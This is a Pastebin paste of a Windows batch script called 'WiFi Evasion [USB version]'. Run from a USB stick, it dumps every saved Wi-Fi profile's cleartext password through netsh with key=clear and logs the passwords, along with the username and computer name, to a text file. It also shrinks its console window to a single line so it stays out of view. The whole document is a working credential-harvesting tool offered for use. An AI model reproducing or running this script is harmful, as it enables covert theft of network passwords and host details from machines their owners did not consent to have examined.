Advertisement
FlyFar

WiFi-Evasion-[USB.-VERSION].BAT

Mar 9th, 2023
1,183
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.78 KB | Cybersecurity | 0 0
  1. @ECHO OFF & SETLOCAL ENABLEDELAYEDEXPANSION
  2. TITLE WiFi Evasion [USB] - LESiO
  3. MODE CON COLS=18 LINES=1
  4. CLS & COLOR 05
  5. SET C=0
  6. SET L=0
  7. CALL :S
  8. CALL :L
  9. SET PASSWORDLOGS=WiFi-Evasion-[USB.-Version].TXT
  10.     ECHO WiFi Evasion [USB. VERSION] - LESiO >> %PASSWORDLOGS%
  11.     ECHO( >> %PASSWORDLOGS%
  12.     ECHO DATE : %DATE% %TIME% >> %PASSWORDLOGS%
  13.     ECHO USERNAME : %USERNAME% >> %PASSWORDLOGS%
  14.     ECHO COMPUTER : %COMPUTERNAME% >> %PASSWORDLOGS%
  15.     ECHO PROCESSOR ARCHITECTURE : %PROCESSOR_ARCHITECTURE% >> %PASSWORDLOGS%
  16.     ECHO( >> %PASSWORDLOGS%
  17.     ECHO [N][SSID] ====^> [PASSWORD] >>%PASSWORDLOGS%
  18.     ECHO( >> %PASSWORDLOGS%
  19. FOR /F "SKIP=2 DELIMS=: TOKENS=2" %%A IN ('NETSH WLAN SHOW PROFILES') DO (
  20.     IF NOT "%%A"=="" (
  21.         SET "SSID=%%A"
  22.         SET "SSID=!SSID:~1!"
  23.         CALL :P "!SSID!"
  24.     )
  25. )
  26. :P
  27. SET "NAME=%1"
  28. SET "NAME=!NAME:"=!"
  29. SET "PASSWORD="
  30. FOR /F "DELIMS=: TOKENS=2" %%A IN ('NETSH WLAN SHOW PROFILES %1 KEY^=CLEAR ^|FIND /I "CONT"') DO (
  31.     SET "PASSWORD=%%A"
  32.     SET /A C+=1
  33. )
  34. IF DEFINED PASSWORD (
  35.     SET PASSWORD=!PASSWORD:~1!
  36.     ECHO [!C!][!NAME!] ====^> [!PASSWORD!] >> "%PASSWORDLOGS%"
  37. ) ELSE (
  38.     SET /A C+=1
  39. ECHO [!C!][!NAME!] EMPTY PASSWORD >> "%PASSWORDLOGS%"
  40. )
  41. EXIT /B
  42. :S
  43. PROMPT $G
  44. FOR /F "DELIMS=." %%A IN ('"PROMPT $H. & FOR %%B IN (1) DO REM"') DO SET "BS=%%A"
  45. EXIT /B
  46. :C
  47. SET NL=%3
  48. IF NOT DEFINED NL ECHO REQUIRES THIRD ARGUMENT & PAUSE > NUL & GOTO :EOF
  49. IF %3 == 0 (
  50.     <NUL SET /P ".=%BS%">%2 & FINDSTR /V /A:%1 /R "^$" %2 NUL & DEL %2 2>&1 & GOTO :EOF
  51. ) ELSE IF %3 == 1 (
  52.     ECHO %BS%>%2 & FINDSTR /V /A:%1 /R "^$" %2 NUL & DEL %2 2>&1 & GOTO :EOF
  53. )
  54. EXIT /B
  55. :L
  56. FOR /F "SKIP=2 DELIMS=: TOKENS=2" %%A IN ('NETSH WLAN SHOW PROFILES') DO (
  57.     IF NOT "%%A"=="" (
  58.         SET /A L+=1
  59.     )
  60. )
  61. SET /A L=!L! + 10
  62. EXIT /B
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement